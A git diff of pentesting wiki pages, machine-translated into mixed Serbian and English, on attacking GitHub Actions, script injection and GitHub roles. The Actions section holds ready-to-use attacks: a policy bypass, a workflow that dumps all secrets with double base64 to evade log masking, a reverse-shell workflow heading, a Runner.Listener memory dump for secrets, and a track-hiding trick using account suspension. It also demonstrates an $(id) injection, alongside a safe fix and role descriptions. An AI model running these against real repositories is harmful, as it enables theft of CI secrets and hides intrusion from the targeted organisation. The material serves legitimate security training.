-Radni tokovi mogu koristiti **artefakte iz drugih radnih tokova i čak repozitorijuma**, ako napadač uspe da **kompromituje** Github Akciju koja **otprema artefakt** koji se kasnije koristi od strane drugog radnog toka, on bi mogao da **kompromituje druge radne tokove**:
+Workflows mogu koristiti **artifacts from other workflows and even repos**; ako attacker uspe da **compromise** Github Action koja **uploads an artifact** koja se kasnije koristi u drugom workflow-u, on bi mogao **compromise the other workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
---
-## Post Eksploatacija iz Akcije
+## Post Exploitation from an Action
-### Pristupanje AWS i GCP putem OIDC
+### Github Action Policies Bypass
-Proverite sledeće stranice:
+Kao što je objašnjeno u [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), čak i ako repozitorijum ili organizacija ima politiku koja ograničava upotrebu određenih actions, attacker može jednostavno da download-uje (`git clone`) action unutar workflow-a i potom ga referencira kao local action. Pošto politike ne utiču na lokalne puteve, **the action will be executed without any restriction.**
+
+Primer:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
+### Pristup AWS i GCP preko OIDC
+
+Pogledajte sledeće stranice:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +468,15 @@ Proverite sledeće stranice:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
-### Pristupanje tajnama
+### Pristup secrets
-Ako ubacujete sadržaj u skriptu, zanimljivo je znati kako možete pristupiti tajnama:
+Ako ubacujete sadržaj u skriptu, interesantno je znati kako možete pristupiti secrets:
-- Ako je tajna ili token postavljen na **promenljivu okruženja**, može se direktno pristupiti kroz okruženje koristeći **`printenv`**.
+- Ako je secret ili token postavljen kao **environment variable**, njima se može direktno pristupiti kroz okruženje koristeći **`printenv`**.
-Lista tajni u izlazu Github Akcije
+Ispis secrets u Github Action output
```yaml
name: list_env
on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Dobijanje reverzne ljuske sa tajnama
+Dobijte reverse shell pomoću secrets
```yaml
name: revshell
on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-- Ako se tajna koristi **direktno u izrazu**, generisani shell skript se čuva **na disku** i može se pristupiti.
+- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
-- Za JavaScript akcije, tajne se šalju kroz promenljive okruženja.
+- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
-- Za **prilagođenu akciju**, rizik može varirati u zavisnosti od toga kako program koristi tajnu koju je dobio iz **argumenta**:
+- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
```yaml
uses: fakeaction/publish@v3
@@ -514,23 +542,47 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
-### Zloupotreba samostalno hostovanih izvršilaca
+- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
-Način da se pronađe koje **Github akcije se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github akcije.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
-**Samostalno hostovani** izvršioci mogu imati pristup **dodatnim osetljivim informacijama**, drugim **mrežnim sistemima** (ranjivi krajnji tački u mreži? usluga metapodataka?) ili, čak i ako je izolovan i uništen, **više od jedne akcije može biti pokrenuto u isto vreme** i zlonamerna može **ukrasti tajne** od druge.
+Decode locally:
-U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem svoje memorije:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
+
+### Abusing Self-hosted runners
+
+The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+
+**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
+
+In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
-Proverite [**ovaj post za više informacija**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Pogledajte [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
-### Github Docker Images Registry
+### Github Docker Images Registar
-Moguće je napraviti Github akcije koje će **izgraditi i sačuvati Docker sliku unutar Github-a**.\
-Primer se može naći u sledećem proširivom:
+Moguće je napraviti Github actions koji će **izgraditi i sačuvati Docker image unutar Github-a**.\
+Primer se može naći u sledećem proširivom bloku:
@@ -565,14 +617,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
-Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.
+Kao što možete videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.
-Korisnik sa dozvolama za čitanje nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token:
+Korisnik sa dozvolama za čitanje nad repozitorijumom moći će da preuzme Docker Image koristeći personal access token:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-Zatim, korisnik može da traži **procurene tajne u slojevima Docker slike:**
+Zatim, korisnik može pretražiti za **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -580,15 +632,17 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### Osetljive informacije u Github Actions logovima
-Čak i ako **Github** pokušava da **otkrije tajne vrednosti** u logovima akcija i **izbegne da ih prikaže**, **dati osetljivi podaci** koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Čak i ako **Github** pokuša **detektovati secret values** u logovima akcija i **sprečiti njihovo prikazivanje**, **drugi osetljivi podaci** koji su mogli biti generisani tokom izvršavanja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Sakrivanje tragova
-(Tehnika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji caka. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove)
-
-Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na github-u.
+(Tehnika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji se podigne je jasno vidljiv javnosti na Github i ciljnom GitHub nalogu. Na GitHub-u po defaultu, mi **ne možemo izbrisati PR sa interneta**, ali postoji trik. Za Github naloge koji su **suspendovani** od strane Github-a, svi njihovi **PRs are automatically deleted** i uklanjaju se sa interneta. Dakle, da biste sakrili svoju aktivnost morate ili da vam se **GitHub account suspenduje ili da vam nalog bude flagged**. To bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR)
> [!WARNING]
-> Jedini način na koji organizacija može da sazna da su bili meta je da proveri GitHub logove iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen.
+> Jedini način da organizacija otkrije da je bila meta je da pregleda GitHub logove iz SIEM-a jer će iz GitHub UI PR biti uklonjen.
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 591109f16..1c874e862 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,3 +1,96 @@
# Gh Actions - Context Script Injections
{{#include ../../../banners/hacktricks-training.md}}
+
+## Razumevanje rizika
+
+GitHub Actions renderuje izraze ${{ ... }} pre nego što se korak izvrši. Renderovana vrednost se zalepi u program koraka (za run korake, shell skripta). Ako interpolirate nepouzdani ulaz direktno unutar run:, napadač kontroliše deo shell programa i može izvršavati proizvoljne komande.
+
+Dokumentacija: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions i contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+
+Ključne tačke:
+- Renderovanje se događa pre izvršenja. Run skripta se generiše sa svim razrešenim izrazima, pa se potom izvršava kroz shell.
+- Mnogi contexts sadrže polja koja korisnik kontroliše u zavisnosti od događaja koji pokreće workflow (issues, PRs, comments, discussions, forks, stars, itd.). Pogledajte referencu za untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Shell quoting unutar run: nije pouzdana odbrana, jer se injekcija dešava u fazi renderovanja templata. Napadači mogu probiti navodnike ili ubaciti operatore putem specijalno oblikovanog ulaza.
+
+## Ranljiv obrazac → RCE na runneru
+
+Ranljiv workflow (pokreće se kada neko otvori novi issue):
+```yaml
+name: New Issue Created
+on:
+issues:
+types: [opened]
+jobs:
+deploy:
+runs-on: ubuntu-latest
+permissions:
+issues: write
+steps:
+- name: New issue
+run: |
+echo "New issue ${{ github.event.issue.title }} created"
+- name: Add "new" label to issue
+uses: actions-ecosystem/action-add-labels@v1
+with:
+github_token: ${{ secrets.GITHUB_TOKEN }}
+labels: new
+```
+Ako napadač otvori issue naslovljen $(id), renderovani step postaje:
+```sh
+echo "New issue $(id) created"
+```
+Command substitution izvršava id na runneru. Primer izlaza:
+```
+New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
+```
+Zašto citiranje ne štiti:
+- Izrazi se prvo evaluiraju, a zatim se izvršava dobijeni skript. Ako nepouzdana vrednost sadrži $(...), `;`, `"`/`'`, ili novi redovi, može izmeniti strukturu programa uprkos vašem citiranju.
+
+## Siguran obrazac (shell variables via env)
+
+Ispravno rešenje: kopirajte nepouzdani unos u environment variable, zatim koristite native shell expansion ($VAR) u run skripti. Ne ponovo ugrađujte sa ${{ ... }} unutar komande.
+```yaml
+# safe
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: New issue
+env:
+TITLE: ${{ github.event.issue.title }}
+run: |
+echo "New issue $TITLE created"
+```
+Notes:
+- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
+- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
+
+## Površine koje korisnik može pokrenuti (smatrati nepouzdanim)
+
+Nalozi koji imaju samo dozvolu za čitanje na javnim repozitorijumima i dalje mogu pokrenuti mnogo događaja. Svako polje u kontekstima izvedenim iz ovih događaja treba smatrati pod kontrolom napadača osim ako se ne dokaže suprotno. Primeri:
+- issues, issue_comment
+- discussion, discussion_comment (orgs mogu ograničiti discussions)
+- pull_request, pull_request_review, pull_request_review_comment
+- pull_request_target (opasno ako se pogrešno koristi, pokreće se u kontekstu base repo)
+- fork (bilo ko može fork-ovati javne repozitorijume)
+- watch (starring a repo)
+- Indirektno preko workflow_run/workflow_call lanaca
+
+Koja tačno polja su pod kontrolom napadača zavisi od događaja. Pogledajte GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
+
+## Praktični saveti
+
+- Smanjite korišćenje expressions unutar run:. Preferirajte env: mapiranje + $VAR.
+- Ako morate transformisati ulaz, uradite to u shellu koristeći bezbedne alate (printf %q, jq -r, itd.), i dalje polazeći od shell promenljive.
+- Budite posebno oprezni pri interpolaciji imena grana, naslova PR-a, korisničkih imena, labela, naslova diskusija i PR head refs u skripte, argumente komandne linije ili putanje fajlova.
+- Za reusable workflows i composite actions primenite isti obrazac: mapirajte u env pa referencirajte $VAR.
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
+- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 40a78d7c3..226804276 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,156 +1,156 @@
-# Osnovne informacije o Github-u
+# Osnovne informacije o Github
{{#include ../../banners/hacktricks-training.md}}
-## Osnovna struktura
+## Basic Structure
-Osnovna struktura github okruženja velike **kompanije** je da poseduje **preduzeće** koje poseduje **several organizacija** i svaka od njih može sadržati **several repozitorijuma** i **several timova**. Manje kompanije mogu samo **posedovati jednu organizaciju i bez preduzeća**.
+Osnovna struktura Github okruženja velike **kompanije** je da poseduje jedno **enterprise** koje poseduje **nekoliko organizations** i svaka od njih može sadržati **nekoliko repositories** i **nekoliko teams.** Manje kompanije mogu imati samo **jednu organization i bez enterprises**.
-Sa tačke gledišta korisnika, **korisnik** može biti **član** **različitih preduzeća i organizacija**. Unutar njih korisnik može imati **različite uloge u preduzeću, organizaciji i repozitorijumu**.
+Iz ugla korisnika, jedan **user** može biti **member** različitih enterprises i organizations. Unutar njih korisnik može imati **različite enterprise, organization i repository role**.
-Štaviše, korisnik može biti **deo različitih timova** sa različitim ulogama u preduzeću, organizaciji ili repozitorijumu.
+Pored toga, korisnik može biti **deo različitih teams** sa različitim enterprise, organization ili repository rolama.
-I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**.
+I na kraju, **repositories mogu imati specijalne mehanizme zaštite**.
-## Privilegije
+## Privileges
-### Uloge u preduzeću
+### Enterprise Roles
-- **Vlasnik preduzeća**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar preduzeća, upravljati postavkama preduzeća, sprovoditi politiku širom organizacija**. Međutim, **ne mogu pristupiti postavkama organizacije ili sadržaju** osim ako nisu postavljeni za vlasnika organizacije ili im nije dat direktan pristup repozitorijumu koji poseduje organizacija.
-- **Članovi preduzeća**: Članovi organizacija koje poseduje vaše preduzeće su takođe **automatski članovi preduzeća**.
+- **Enterprise owner**: Osobe sa ovom ulogom mogu **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Međutim, oni **ne mogu pristupiti organization settings ili content** osim ako nisu postavljeni kao organization owner ili im nije dat direktan pristup repository u vlasništvu organization.
+- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
-### Uloge u organizaciji
+### Organization Roles
-U organizaciji korisnici mogu imati različite uloge:
+U jednoj organization korisnici mogu imati različite uloge:
-- **Vlasnici organizacije**: Vlasnici organizacije imaju **potpun pristup administraciji vaše organizacije**. Ova uloga bi trebala biti ograničena, ali ne na manje od dve osobe, u vašoj organizaciji.
-- **Članovi organizacije**: **Podrazumevana**, ne-administrativna uloga za **ljude u organizaciji** je član organizacije. Po defaultu, članovi organizacije **imaju određeni broj dozvola**.
-- **Menadžeri naplate**: Menadžeri naplate su korisnici koji mogu **upravljati postavkama naplate za vašu organizaciju**, kao što su informacije o plaćanju.
-- **Menadžeri bezbednosti**: To je uloga koju vlasnici organizacije mogu dodeliti bilo kojem timu u organizaciji. Kada se primeni, daje svakom članu tima dozvole da **upravljaju bezbednosnim upozorenjima i postavkama širom vaše organizacije, kao i dozvole za čitanje za sve repozitorijume** u organizaciji.
-- Ako vaša organizacija ima tim za bezbednost, možete koristiti ulogu menadžera bezbednosti da članovima tima date minimalan pristup koji im je potreban za organizaciju.
-- **Menadžeri Github aplikacija**: Da bi omogućili dodatnim korisnicima da **upravljaju GitHub aplikacijama koje poseduje organizacija**, vlasnik može dodeliti dozvole menadžera GitHub aplikacija.
-- **Spoljni saradnici**: Spoljni saradnik je osoba koja ima **pristup jednom ili više repozitorijuma organizacije, ali nije eksplicitno član** organizacije.
+- **Organization owners**: Organization owners imaju **complete administrative access to your organization**. Ovu ulogu treba ograničiti, ali ne na manje od dve osobe u vašoj organization.
+- **Organization members**: **Default**, ne-administrativna uloga za **ljude u organization** je organization member. Po default-u, organization members **have a number of permissions**.
+- **Billing managers**: Billing managers su korisnici koji mogu **manage the billing settings for your organization**, kao što su informacije o plaćanju.
+- **Security Managers**: Ovo je uloga koju organization owners mogu dodeliti bilo kojem timu u organization. Kada se primeni, daje svakom članu tima dozvole da **manage security alerts and settings across your organization, as well as read permissions for all repositories** u organization.
+- Ako vaša organization ima security team, možete koristiti security manager ulogu da članovima tima date najmanje privilegije koje su im potrebne u organization.
+- **Github App managers**: Da bi dodatni korisnici mogli **manage GitHub Apps owned by an organization**, owner im može dodeliti Github App manager permissions.
+- **Outside collaborators**: Outside collaborator je osoba koja ima **access to one or more organization repositories but is not explicitly a member** of the organization.
-Možete **uporediti dozvole** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Možete **compare the permissions** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
-### Privilegije članova
+### Members Privileges
-Na _https://github.com/organizations/\/settings/member_privileges_ možete videti **dozvole koje korisnici imaju samo zato što su deo organizacije**.
+U _https://github.com/organizations/\/settings/member_privileges_ možete videti **permissions koje korisnici imaju samo zato što su deo organization**.
-Postavke ovde konfigurirane će ukazivati na sledeće dozvole članova organizacije:
+Podešavanja ovde će odrediti sledeće dozvole članova organization:
-- Biti administrator, pisac, čitalac ili bez dozvole nad svim repozitorijumima organizacije.
-- Ako članovi mogu kreirati privatne, interne ili javne repozitorijume.
-- Ako je moguće fork-ovati repozitorijume.
-- Ako je moguće pozvati spoljne saradnike.
-- Ako se mogu objaviti javne ili privatne stranice.
-- Dozvole koje administratori imaju nad repozitorijumima.
-- Ako članovi mogu kreirati nove timove.
+- Biti admin, writer, reader ili bez dozvole nad svim organization repos.
+- Da li članovi mogu kreirati private, internal ili public repositories.
+- Da li je forking repositories moguć
+- Da li je moguće pozivati outside collaborators
+- Da li se public ili private sites mogu objavljivati
+- Dozvole koje admins imaju nad repositories
+- Da li članovi mogu kreirati nove teams
-### Uloge u repozitorijumu
+### Repository Roles
-Po defaultu, uloge u repozitorijumu su kreirane:
+Po default-u repository role su kreirane:
-- **Čitanje**: Preporučuje se za **ne-kodere** koji žele da pregledaju ili diskutuju o vašem projektu.
-- **Triage**: Preporučuje se za **kontributore koji treba proaktivno da upravljaju problemima i pull zahtevima** bez pristupa pisanju.
-- **Pisanje**: Preporučuje se za kontributore koji **aktivno doprinose vašem projektu**.
-- **Održavanje**: Preporučuje se za **menadžere projekata koji treba da upravljaju repozitorijumom** bez pristupa osetljivim ili destruktivnim radnjama.
-- **Administrator**: Preporučuje se za ljude koji trebaju **potpun pristup projektu**, uključujući osetljive i destruktivne radnje kao što su upravljanje bezbednošću ili brisanje repozitorijuma.
+- **Read**: Preporučeno za **non-code contributors** koji žele da pregledaju ili diskutuju projekat
+- **Triage**: Preporučeno za **contributors koji treba da proaktivno upravljaju issues i pull requests** bez write pristupa
+- **Write**: Preporučeno za contributors koji **aktivno push-uju u projekt**
+- **Maintain**: Preporučeno za **project managers koji treba da upravljaju repository** bez pristupa osetljivim ili destruktivnim akcijama
+- **Admin**: Preporučeno za ljude kojima treba **full access to the project**, uključujući osetljive i destruktivne akcije kao što su upravljanje bezbednošću ili brisanje repository
-Možete **uporediti dozvole** svake uloge u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Možete **compare the permissions** svake role u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-Takođe možete **kreirati svoje uloge** na _https://github.com/organizations/\/settings/roles_
+Takođe možete **create your own roles** u _https://github.com/organizations/\/settings/roles_
-### Timovi
+### Teams
-Možete **navesti timove kreirane u organizaciji** na _https://github.com/orgs/\/teams_. Imajte na umu da da biste videli timove koji su deca drugih timova, morate pristupiti svakom roditeljskom timu.
+Možete **list the teams created in an organization** u _https://github.com/orgs/\/teams_. Imajte na umu da da biste videli teams koji su children drugih teams morate pristupiti svakom parent team-u.
-### Korisnici
+### Users
-Korisnici organizacije mogu biti **navedeni** na _https://github.com/orgs/\/people._
+Korisnici jedne organization mogu biti **listed** u _https://github.com/orgs/\/people._
-U informacijama o svakom korisniku možete videti **timove čiji je korisnik član**, i **repozitorijume kojima korisnik ima pristup**.
+U informacijama o svakom user-u možete videti **teams the user is member of**, i **repos the user has access to**.
-## Github autentifikacija
+## Github Authentication
-Github nudi različite načine za autentifikaciju na vašem nalogu i obavljanje radnji u vaše ime.
+Github nudi različite načine da se autentifikujete na vaš account i izvršavate akcije u vaše ime.
-### Web pristup
+### Web Access
-Pristupajući **github.com**, možete se prijaviti koristeći svoje **korisničko ime i lozinku** (i **2FA potencijalno**).
+Pristupanjem **github.com** možete se prijaviti koristeći **username and password** (i eventualno **2FA**).
-### **SSH ključevi**
+### **SSH Keys**
-Možete konfigurisati svoj nalog sa jednim ili više javnih ključeva koji omogućavaju povezani **privatni ključ da obavlja radnje u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Možete konfigurisati vaš account sa jednim ili više public keys koje omogućavaju odgovarajućem **private key da izvršava akcije u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys)
-#### **GPG ključevi**
+#### **GPG Keys**
-Ne možete **imiti korisnika sa ovim ključevima**, ali ako ih ne koristite, može biti moguće da **budete otkriveni zbog slanja commit-a bez potpisa**. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Ne možete **impersonate the user with these keys** ali ako ih ne koristite može se dogoditi da budete otkriveni za slanje commits bez potpisa. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
-### **Lični pristupni tokeni**
+### **Personal Access Tokens**
-Možete generisati lični pristupni token da **dajte aplikaciji pristup vašem nalogu**. Kada kreirate lični pristupni token, **korisnik** treba da **navede** **dozvole** koje **token** će imati. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Možete generisati personal access token da **date aplikaciji pristup vašem account-u**. Prilikom kreiranja personal access token korisnik treba da **specify** **permissions** koje će token imati. [https://github.com/settings/tokens](https://github.com/settings/tokens)
-### Oauth aplikacije
+### Oauth Applications
-Oauth aplikacije mogu vas pitati za dozvole **da pristupite delu vaših github informacija ili da imitirate vas** da obavite neke radnje. Uobičajen primer ove funkcionalnosti je **dugme prijave sa github-om** koje možete pronaći na nekim platformama.
+Oauth applications mogu tražiti dozvole **to access part of your github information or to impersonate you** da izvrše neke akcije. Uobičajen primer ove funkcionalnosti je dugme **login with github** koje možete naći na nekim platformama.
-- Možete **kreirati** svoje **Oauth aplikacije** na [https://github.com/settings/developers](https://github.com/settings/developers)
-- Možete videti sve **Oauth aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/applications](https://github.com/settings/applications)
-- Možete videti **opsege koje Oauth aplikacije mogu tražiti** na [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- Možete videti pristup trećih strana aplikacija u **organizaciji** na _https://github.com/organizations/\/settings/oauth_application_policy_
+- Možete **create** vaše **Oauth applications** u [https://github.com/settings/developers](https://github.com/settings/developers)
+- Možete videti sve **Oauth applications that has access to your account** u [https://github.com/settings/applications](https://github.com/settings/applications)
+- Možete videti **scopes that Oauth Apps can ask for** u [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Možete videti third party access aplikacija u jednoj **organization** na _https://github.com/organizations/\/settings/oauth_application_policy_
Neke **preporuke za bezbednost**:
-- **OAuth aplikacija** uvek treba da **deluje kao autentifikovani GitHub korisnik širom celog GitHub-a** (na primer, kada pruža obaveštenja korisnicima) i sa pristupom samo do specificiranih opsega.
-- Oauth aplikacija može se koristiti kao provajder identiteta omogućavanjem "Prijava sa GitHub-om" za autentifikovanog korisnika.
-- **Nemojte** praviti **OAuth aplikaciju** ako želite da vaša aplikacija deluje na **jednom repozitorijumu**. Sa `repo` Oauth opsegom, Oauth aplikacije mogu **delovati na _svim_** repozitorijumima autentifikovanog korisnika.
-- **Nemojte** praviti Oauth aplikaciju da deluje kao aplikacija za vaš **tim ili kompaniju**. Oauth aplikacije se autentifikuju kao **jedan korisnik**, tako da ako jedna osoba kreira Oauth aplikaciju za korišćenje u kompaniji, a zatim napusti kompaniju, niko drugi neće imati pristup.
-- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- An **OAuth App** bi uvek trebalo da **act as the authenticated GitHub user across all of GitHub** (na primer, kada obezbeđuje korisnička obaveštenja) i sa pristupom samo specificiranim scopes..
+- An OAuth App može biti korišćen kao identity provider omogućavajući "Login with GitHub" za autentifikovanog korisnika.
+- **Don't** pravite **OAuth App** ako želite da vaša aplikacija deluje samo na **single repository**. Sa `repo` OAuth scope-om, OAuth Apps mogu **act on _all**_ of the authenticated user's repositories.
+- **Don't** pravite OAuth App da predstavlja aplikaciju za vaš **team or company**. OAuth Apps autentifikuju kao **single user**, tako da ako jedna osoba kreira OAuth App za kompaniju i zatim napusti kompaniju, niko drugi neće imati pristup.
+- **More** u [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
-### Github aplikacije
+### Github Applications
-Github aplikacije mogu tražiti dozvole da **pristupite vašim github informacijama ili da imitirate vas** da obavite specifične radnje nad specifičnim resursima. U Github aplikacijama morate navesti repozitorijume kojima će aplikacija imati pristup.
+Github applications mogu tražiti dozvole da **access your github information or impersonate you** kako bi izvršile specifične akcije nad specifičnim resursima. U Github Apps morate specificirati repositories kojima će app imati pristup.
-- Da biste instalirali GitHub aplikaciju, morate biti **vlasnik organizacije ili imati administratorske dozvole** u repozitorijumu.
-- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**.
-- Možete kreirati svoju Github aplikaciju na [https://github.com/settings/apps](https://github.com/settings/apps)
-- Možete videti sve **Github aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- Ovo su **API krajnje tačke za Github aplikacije** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola aplikacije, moći će da pristupi nekim od njih.
-- Možete videti instalirane aplikacije u **organizaciji** na _https://github.com/organizations/\/settings/installations_
+- Da biste instalirali GitHub App, morate biti **organisation owner or have admin permissions** u repository.
+- GitHub App treba da **connect to a personal account or an organisation**.
+- Možete kreirati sopstvenu Github application u [https://github.com/settings/apps](https://github.com/settings/apps)
